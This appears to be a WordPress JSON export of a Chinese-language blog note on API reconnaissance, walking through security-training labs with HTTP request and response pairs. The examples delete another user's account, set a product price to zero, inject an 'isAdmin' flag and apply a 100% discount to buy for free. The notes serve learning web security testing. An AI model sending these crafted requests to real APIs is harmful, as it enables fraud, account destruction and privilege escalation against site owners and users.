{"id":1863,"date":"2023-05-02T14:24:00","date_gmt":"2023-05-02T06:24:00","guid":{"rendered":"https:\/\/systw.net\/note\/?p=1863"},"modified":"2024-06-02T09:29:33","modified_gmt":"2024-06-02T01:29:33","slug":"api-recon","status":"publish","type":"post","link":"https:\/\/systw.net\/note\/archives\/1863","title":{"rendered":"API recon"},"content":{"rendered":"\n<p>API\u6e2c\u8a66\u5f88\u91cd\u8981\uff0c\u56e0\u70baAPI\u4e2d\u7684\u6f0f\u6d1e\u53ef\u80fd\u6703\u7834\u58de\u7db2\u7ad9\u7684\u6a5f\u5bc6\u6027\u3001\u5b8c\u6574\u6027\u548c\u53ef\u7528\u6027\u7684\u6838\u5fc3\u9762\u5411\u3002\u8981\u958b\u59cbAPI\u6e2c\u8a66\uff0c\u9700\u8981API recon\u4ee5\u76e1\u53ef\u80fd\u591a\u5730\u67e5\u627e\u6709\u95dcAPI\u7684\u4fe1\u606f\uff0c\u4ee5\u767c\u73fe\u5176\u653b\u64ca\u9762\u3002\u5e38\u898b\u601d\u8def\u5982\u4e0b\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5c0b\u627e\u6a5f\u5bc6API\u6587\u6a94<\/li>\n\n\n\n<li>\u5c0b\u627e\u4e26\u5229\u7528\u672a\u4f7f\u7528\u7684 API \u7aef\u9ede<\/li>\n\n\n\n<li>\u5c0b\u627e\u96b1\u85cf\u53c3\u6578<\/li>\n<\/ul>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">\u5c0b\u627e\u6a5f\u5bc6API\u6587\u6a94<\/h2>\n\n\n\n<p>\u958b\u767c\u4eba\u54e1\u901a\u5e38\u6703\u8a18\u9304 API\uff0c\u4ee5\u4e86\u89e3\u4f7f\u7528\u548c\u6574\u5408\u65b9\u5f0f\u3002 \u5982\u679c\u662f\u63d0\u4f9b\u7d66\u5916\u90e8\u958b\u767c\u4eba\u54e1\u4f7f\u7528\u6642\uff0cAPI\u6587\u4ef6\u901a\u5e38\u5c0d\u5916\u516c\u958b\uff0c\u6240\u4ee5\u8981\u67e5\u770b\u9019\u4ef6\u6587\u4ef6\u627e\u53ef\u5229\u7528\u7684\u65b9\u5f0f\u3002\u5982\u679c API \u6587\u4ef6\u4e0d\u516c\u958b\uff0c\u53ef\u4ee5\u900f\u904e\u4e00\u4e9b\u65b9\u6cd5\u6216\u5de5\u5177\u53bb\u5c0b\u627e\uff0c\u5de5\u5177\u53ef\u53c3\u8003burpsuite\u7684RouteVulScan\u6216JS Link Finder\uff0c\u624b\u52d51\u65b9\u6cd5\u8209\u4f8b\u5982\u4e0b\u3002<\/p>\n\n\n\n<p>1 \u4ee5wiener\u5e33\u6236\u767b\u5165\u6642\u66f4\u65b0email\uff0c\u4f7f\u7528\u4ee5\u4e0bpatch\u8acb\u6c42<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PATCH \/api\/user\/wiener<\/code><\/pre>\n\n\n\n<p>\u6539\u70ba\/api\/user\/\u8fd4\u56de\u932f\u8aa4\u8a0a\u606f<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############# Request #############\nPATCH \/api\/user\/\n\n############# resposne #############\n\"error\":\"Malformed URL: expecting an identifier\" <\/code><\/pre>\n\n\n\n<p>\u6539\u70ba\/api\/\u51fa\u73fe302\u8df3\u8f49<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############# Request #############\nPATCH \/api\/\n\n############# resposne #############\nHTTP\/2 302 Found<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<p>2 \u8a2a\u554f\/api\/\u76ee\u9304\uff0c\u767c\u73feAPI\u6587\u6a94\u986f\u793a\u4ee5\u4e0b\u8cc7\u8a0a\uff0c\u4e26\u5c52\u793a\u5982\u4f55\u522a\u9664user<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>GET \/user{username:String}<\/li>\n\n\n\n<li>DELETE \/user{username:String}<\/li>\n\n\n\n<li>PATCH  \/user{username:String} {&#8220;email&#8221;,String}<\/li>\n<\/ul>\n\n\n\n<p>3.\u6839\u64daAPI\u6587\u6a94\u522a\u9664\u5176\u4ed6\u4eba\u6210\u529f<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############# Request #############\nDELETE \/api\/user\/carlos\n\n############# resposne #############\n\"status\":\"User deleted\"<\/code><\/pre>\n\n\n\n<p>Lab: Exploiting an API endpoint using documentation<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">\u5c0b\u627e\u4e26\u5229\u7528\u672a\u4f7f\u7528\u7684 API \u7aef\u9ede<\/h2>\n\n\n\n<p>\u4f7f\u7528\u700f\u89bd\u5668\u624b\u52d5\u8abf\u67e5\u542bapi\u7684\u7db2\u5740\u6216\u67e5\u770b JavaScript \u6a94\u6848\u3002\u4e5f\u53ef\u7528\u5de5\u5177Burp Scanner\u6216JS Link Finder\u7b49\u5de5\u5177\u5354\u52a9\u5c0b\u627e\u53ef\u80fd\u7684API\u7db2\u5740\u3002\u4e00\u65e6\u627e\u5230\u53ef\u80fd\u662fAPI\u7684\u7db2\u5740\uff0c\u5c31\u6839\u64da\u4ee5\u4e0b\u5169\u6b65\u9a5f\u505a\u6e2c\u8a66<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"identifying-supported-http-methods\">\u6b65\u9a5f1.\u8b58\u5225\u652f\u63f4\u7684HTTP\u65b9\u6cd5<\/h4>\n\n\n\n<p>HTTP\u65b9\u6cd5\u6307\u5b9a\u8981\u5c0d\u8cc7\u6e90\u57f7\u884c\u7684\u52d5\u4f5c\u3002\u4f8b\u5982\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>GET<\/code>&#8211; \u5f9e\u8cc7\u6e90\u4e2d\u6aa2\u7d22\u8cc7\u6599\u3002<\/li>\n\n\n\n<li><code>PATCH<\/code>&#8211; \u5c0d\u8cc7\u6e90\u5957\u7528\u90e8\u5206\u8b8a\u66f4\u3002<\/li>\n\n\n\n<li><code>OPTIONS<\/code>&#8211; \u6aa2\u7d22\u6709\u95dc\u53ef\u5728\u8cc7\u6e90\u4e0a\u4f7f\u7528\u7684\u8acb\u6c42\u65b9\u6cd5\u985e\u578b\u7684\u8cc7\u8a0a\u3002<\/li>\n<\/ul>\n\n\n\n<p>API\u7aef\u9ede\u53ef\u4ee5\u652f\u63f4\u4e0d\u540c\u7684HTTP\u65b9\u6cd5\u3002\u56e0\u6b64\uff0c\u5728\u8abf\u67e5 API \u7aef\u9ede\u6642\u6e2c\u8a66\u6240\u6709\u6f5b\u5728\u65b9\u6cd5\u975e\u5e38\u91cd\u8981\u3002\u9019\u53ef\u80fd\u4f7f\u60a8\u80fd\u5920\u8b58\u5225\u5176\u4ed6\u7aef\u9ede\u529f\u80fd\uff0c\u5f9e\u800c\u6253\u958b\u66f4\u591a\u7684\u653b\u64ca\u9762\u3002<\/p>\n\n\n\n<p>\u4f8b\u5982\uff0c\u7aef\u9ede<code>\/api\/tasks<\/code>\u53ef\u80fd\u652f\u63f4\u4ee5\u4e0b\u65b9\u6cd5\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>GET \/api\/tasks<\/code>&#8211; \u6aa2\u7d22\u4efb\u52d9\u6e05\u55ae\u3002<\/li>\n\n\n\n<li><code>POST \/api\/tasks<\/code>&#8211; \u5efa\u7acb\u4e00\u500b\u65b0\u4efb\u52d9\u3002<\/li>\n\n\n\n<li><code>DELETE \/api\/tasks\/1<\/code>&#8211; \u522a\u9664\u4efb\u52d9\u3002<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"identifying-supported-content-types\">\u6b65\u9a5f2.\u8b58\u5225\u652f\u63f4\u7684\u5167\u5bb9\u985e\u578b<\/h4>\n\n\n\n<p>API\u7aef\u9ede\u901a\u5e38\u9700\u8981\u7279\u5b9a\u683c\u5f0f\u7684\u8cc7\u6599\u3002\u56e0\u6b64\uff0c\u5b83\u5011\u7684\u884c\u70ba\u53ef\u80fd\u6703\u6709\u6240\u4e0d\u540c\uff0c\u5177\u9ad4\u53d6\u6c7a\u65bc\u8acb\u6c42\u4e2d\u63d0\u4f9b\u7684\u8cc7\u6599\u7684\u5167\u5bb9\u985e\u578b\u3002\u66f4\u6539\u5167\u5bb9\u985e\u578b\u5e38\u53ef\u5f97\u5230\u4ee5\u4e0b\u7d50\u679c\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u89f8\u767c\u6d29\u6f0f\u6709\u7528\u8cc7\u8a0a\u7684\u932f\u8aa4\u3002<\/li>\n\n\n\n<li>\u7e5e\u904e\u6709\u7f3a\u9677\u7684\u9632\u79a6\u3002<\/li>\n\n\n\n<li>\u767c\u73fe\u8655\u7406\u908f\u8f2f\u5dee\u7570\u9020\u6210\u7684\u6f0f\u6d1e\u3002\u4f8b\u5982\uff0cAPI \u5728\u8655\u7406 JSON \u8cc7\u6599\u6642\u53ef\u80fd\u662f\u5b89\u5168\u7684\uff0c\u4f46\u5728\u8655\u7406 XML \u6642\u5bb9\u6613\u53d7\u5230\u6ce8\u5165\u653b\u64ca\u3002<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">\u8209\u4f8b\u5982\u4e0b<\/h4>\n\n\n\n<p>\u5047\u8a2d\u5728\u4e00\u7db2\u7ad9\u767c\u73fe\u67e5\u8a62\u5546\u54c11\u50f9\u683c\u7684\u8acb\u6c42\uff0c\u5c07\u65b9\u6cd5\u6539\u70baOPTIONS\u505a\u6e2c\u8a66\uff0c\u8fd4\u56de\u65b9\u6cd5\u53ea\u6709GET\u548cPATCH\u53ef\u7528<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############# request ############# \nOPTIONS \/api\/products\/1\/price\n\n############# response ############# \nHTTP\/2 405 Method Not Allowed\nAllow: GET, PATCH\nContent-Type: application\/json; charset=utf-8\nX-Frame-Options: SAMEORIGIN\nContent-Length: 20\n\"Method Not Allowed\"<\/code><\/pre>\n\n\n\n<p>\u4f7f\u7528PATCH\u767c\u73fe\u8acb\u6c42\uff0c\u8fd4\u56de\u5c1a\u672a\u767b\u5165<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############# request ############# \nPATCH \/api\/products\/1\/price\n\n############# response ############# \nHTTP\/2 401 Unauthorized\nContent-Type: application\/json; charset=utf-8\nX-Frame-Options: SAMEORIGIN\nContent-Length: 14\n\"Unauthorized\"<\/code><\/pre>\n\n\n\n<p>\u767b\u5165\u5f8c\u5728\u767c\u9001\u8acb\u6c42\uff0c\u8fd4\u56deContent-Type\u683c\u5f0f\u4e0d\u5c0d<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############# request ############# \nPATCH \/api\/products\/1\/price\n\n############# response ############# \nHTTP\/2 400 Bad Request\nContent-Type: application\/json; charset=utf-8\nX-Frame-Options: SAMEORIGIN\nContent-Length: 93\n{\"type\":\"ClientError\",\"code\":400,\"error\":\"Only 'application\/json' Content-Type is supported\"}\n<\/code><\/pre>\n\n\n\n<p>\u8abf\u6574\u6210JSON\u683c\u5f0f\u767c\u9001\u8acb\u6c42\uff0c\u8fd4\u56de\u7f3a\u5c11price\u53c3\u6578<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############# request ############# \nPATCH \/api\/products\/1\/price HTTP\/2\n...omit...\nContent-Type: application\/json\n{}\n\n############# response ############# \nHTTP\/2 400 Bad Request\nContent-Type: application\/json; charset=utf-8\nX-Frame-Options: SAMEORIGIN\nContent-Length: 77\n{\"type\":\"ClientError\",\"code\":400,\"error\":\"'price' parameter missing in body\"}<\/code><\/pre>\n\n\n\n<p>\u589e\u52a0price\u53c3\u6578\u767c\u9001\u8acb\u6c42\uff0c\u6210\u529f\u5c07\u7522\u54c11\u7684\u50f9\u683c\u8b8a\u70ba0\u5143<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############# request ############# \nPATCH \/api\/products\/1\/price HTTP\/2\n...omit...\nContent-Type: application\/json\n{\"price\":0}\n\n############# response ############# \nHTTP\/2 200 OK\nContent-Type: application\/json; charset=utf-8\nX-Frame-Options: SAMEORIGIN\nContent-Length: 17\n{\"price\":\"$0.00\"}<\/code><\/pre>\n\n\n\n<p> Lab: Finding and exploiting an unused API endpoint<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">\u5c0b\u627e\u96b1\u85cf\u53c3\u6578<\/h2>\n\n\n\n<p>\u7576\u8edf\u9ad4\u6846\u67b6\u81ea\u52d5\u5c07\u8acb\u6c42\u53c3\u6578\u7d81\u5b9a\u5230\u5167\u90e8\u7269\u4ef6\u4e0a\u7684\u6b04\u4f4d\u6642\uff0c\u5c31\u53ef\u80fd\u767c\u751fMass Assignment(\u6279\u6b21\u5206\u914d)\uff0c\u4e5f\u7a31\u70ba\u81ea\u52d5\u7d81\u5b9a\uff0c\u9019\u53ef\u80fd\u6703\u7121\u610f\u4e2d\u5efa\u7acb\u96b1\u85cf\u53c3\u6578\u3002\u5728\u9032\u884cAPI\u5075\u5bdf\u6642\uff0c\u53ef\u80fd\u6703\u767c\u73fe\u9019\u4e9b\u96b1\u85cf\u53c3\u6578\uff0c\u53ef\u4ee5\u5617\u8a66\u4f7f\u7528\u5b83\u5011\u4f86\u66f4\u6539\u61c9\u7528\u7a0b\u5f0f\u7684\u884c\u70ba\u3002\u5c0b\u627e\u96b1\u85cf\u53c3\u6578\u5e38\u7528\u7684\u5de5\u5177\u5982\u4e0b\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>burpsuite\u7684Param&nbsp;miner\u63d2\u4ef6\uff1a\u80fd\u81ea\u52d5\u731c\u6e2c\u6bcf\u500b\u8acb\u6c42\u6700\u591a 65,536 \u500b\u53c3\u6578\u540d\u7a31\u3002\u53c3\u6578\u6316\u6398\u5668\u6839\u64da\u5f9e\u7bc4\u570d\u4e2d\u7372\u53d6\u7684\u8cc7\u8a0a\u81ea\u52d5\u731c\u6e2c\u8207\u61c9\u7528\u7a0b\u5f0f\u76f8\u95dc\u7684\u540d\u7a31\u3002<\/li>\n\n\n\n<li>burpsuite\u7684content discovery\u5de5\u5177\uff1a\u53ef\u5354\u52a9\u767c\u73fe\u4e4b\u524d\u700f\u89bd\u5230\u4e00\u4e9b\u53ef\u898b\u5167\u5bb9\u9023\u7d50\u8207\u53c3\u6578\u7b49\u3002<\/li>\n<\/ul>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>\u4f8b\u5982<\/p>\n\n\n\n<p>\u4ee5\u4e0b\u8acb\u6c42\u4f7f\u7528\u6236\u80fd\u5920\u66f4\u65b0\u5176\u4f7f\u7528\u8005\u540d\u7a31\u548c\u96fb\u5b50\u90f5\u4ef6 <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PATCH \/api\/users\/\n...omit...\n{ \"username\": \"wiener\", \"email\": \"wiener@example.com\"}<\/code><\/pre>\n\n\n\n<p>\u4f46\u5982\u679c\u6539\u70baGET\u65b9\u6cd5\u4e26\u589e\u52a0ID\u8b8a\u6210\u4ee5\u4e0b\u8acb\u6c42\uff0c\u6703\u8fd4\u56de\u5176\u4ed6\u96b1\u85cf\u53c3\u6578<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############# request ############# \n<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">GET <\/mark>\/api\/users\/<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">123<\/mark>\n...omit...\n{ \"username\": \"wiener\", \"email\": \"wiener@example.com\", }\n\n############# response ############# \n{\n    <mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">\"id\": 123,<\/mark>\n    \"name\": \"John Doe\",\n    \"email\": \"john@example.com\",\n    <mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">\"isAdmin\": \"false\"<\/mark>\n}<\/code><\/pre>\n\n\n\n<p>\u9019\u53ef\u80fd\u8868\u793a\u96b1\u85cf\u7684<code>id<\/code>\u548c<code>isAdmin<\/code>\u53c3\u6578\u8207\u66f4\u65b0\u7684\u4f7f\u7528\u8005\u540d\u7a31\u548c\u96fb\u5b50\u90f5\u4ef6\u53c3\u6578\u4e00\u8d77\u7d81\u5b9a\u5230\u5167\u90e8\u4f7f\u7528\u8005\u7269\u4ef6\u3002<\/p>\n\n\n\n<p>\u63a5\u8457\u5c31\u53ef\u4ee5\u5617\u8a66\u52a0\u5165\u96b1\u85cf\u53c3\u6578\u5982\u4e0b\uff0c\u6e2c\u8a66\u662f\u5426\u80fd\u63d0\u6b0a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PATCH \/api\/users\/ \n...omit...\n{ \"username\": \"wiener\",\"email\": \"wiener@example.com\",<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">\"isAdmin\": true<\/mark>}<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<p>\u53e6\u4e00\u500b\u4f8b\u5b50\u5982\u4e0b<\/p>\n\n\n\n<p>when you buy product and checkout, request as below<\/p>\n\n\n\n<p>\u8cfc\u8cb7\u5546\u54c11\u6642\u6703\u9001\u51fa\u4ee5\u4e0b\u8acb\u6c42\uff0c\u7576\u9322\u4e0d\u5920\u6642\u6703\u91cd\u5c0e\u5411\u5230<code>\/cart?err=INSUFFICIENT_FUNDS<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############# request ############# \nPOST \/api\/checkout HTTP\/2\n...omit...\n{\"chosen_products\":&#91;{\"product_id\":\"1\",\"quantity\":1}]}\n\n############# response ############# \t\nHTTP\/2 201 Created\nLocation: \/cart?err=INSUFFICIENT_FUNDS\nX-Frame-Options: SAMEORIGIN\nContent-Length: 0<\/code><\/pre>\n\n\n\n<p>\u5617\u8a66\u4f7f\u7528\u4e0d\u540c\u7684\u65b9\u6cd5\u5c0d\u540c\u4e00\u500b\u7db2\u5740\u8acb\u6c42\u6642\uff0c\u767c\u73feGET\u65b9\u6cd5\u6703\u8fd4\u56de\u53c3\u6578\u7684\u7528\u6cd5\u8aaa\u660e<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############# request #############\nGET \/api\/checkout HTTP\/2\n\n############# response ############# \nHTTP\/2 200 OK\nContent-Type: application\/json; charset=utf-8\nX-Content-Type-Options: nosniff\nX-Frame-Options: SAMEORIGIN\nContent-Length: 153\n{\"chosen_discount\":{\"percentage\":0},\"chosen_products\":&#91;{\"product_id\":\"1\",\"name\":\"Lightweight \\\\\\\\\"l33t\\\\\\\\\" Leather Jacket\",\"quantity\":1,\"item_price\":133700}]}\n<\/code><\/pre>\n\n\n\n<p>you can found chosen_discount parameter, try to modify it to buy product so add &#8220;chosen_discount&#8221;:{&#8220;percentage&#8221;:100} to post \/api\/checkout<\/p>\n\n\n\n<p>\u6839\u64da\u8aaa\u660e\u5c07\u53c3\u6578chosen_discount\u6539\u70ba100\uff0c\u5c31\u80fd\u8b93\u5546\u54c11\u75280\u5143\u8cfc\u8cb7<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############# request #############\nPOST \/api\/checkout HTTP\/2\n...omit...\n{\n\"chosen_discount\":{\"percentage\":100},\"chosen_products\":&#91;{\"product_id\":\"1\",\"quantity\":1}]}\n\n############# response ############# \nHTTP\/2 201 Created\nLocation: \/cart\/order-confirmation?order-confirmed=true\nX-Frame-Options: SAMEORIGIN\nContent-Length: 0<\/code><\/pre>\n\n\n\n<p>Lab: Exploiting a mass assignment vulnerability<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p>refer<\/p>\n\n\n\n<p><a href=\"https:\/\/mp.weixin.qq.com\/s\/9-2C7vPHPHcTXBJWH9_tlg\" target=\"_blank\" rel=\"noopener\">https:\/\/mp.weixin.qq.com\/s\/9-2C7vPHPHcTXBJWH9_tlg<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>API\u6e2c\u8a66\u5f88\u91cd\u8981\uff0c\u56e0\u70baAPI\u4e2d\u7684\u6f0f\u6d1e\u53ef\u80fd\u6703\u7834\u58de\u7db2\u7ad9\u7684\u6a5f\u5bc6\u6027\u3001\u5b8c\u6574\u6027\u548c\u53ef\u7528\u6027\u7684\u6838\u5fc3\u9762\u5411\u3002\u8981\u958b\u59cbAPI\u6e2c\u8a66\uff0c\u9700\u8981API recon\u4ee5\u76e1\u53ef\u80fd\u591a\u5730\u67e5\u627e\u6709\u95dcAPI\u7684\u4fe1\u606f\uff0c\u4ee5\u767c\u73fe\u5176\u653b\u64ca\u9762\u3002<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[38],"tags":[],"class_list":["post-1863","post","type-post","status-publish","format-standard","hentry","category-serverside"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1863","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/comments?post=1863"}],"version-history":[{"count":0,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1863\/revisions"}],"wp:attachment":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media?parent=1863"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/categories?post=1863"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/tags?post=1863"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}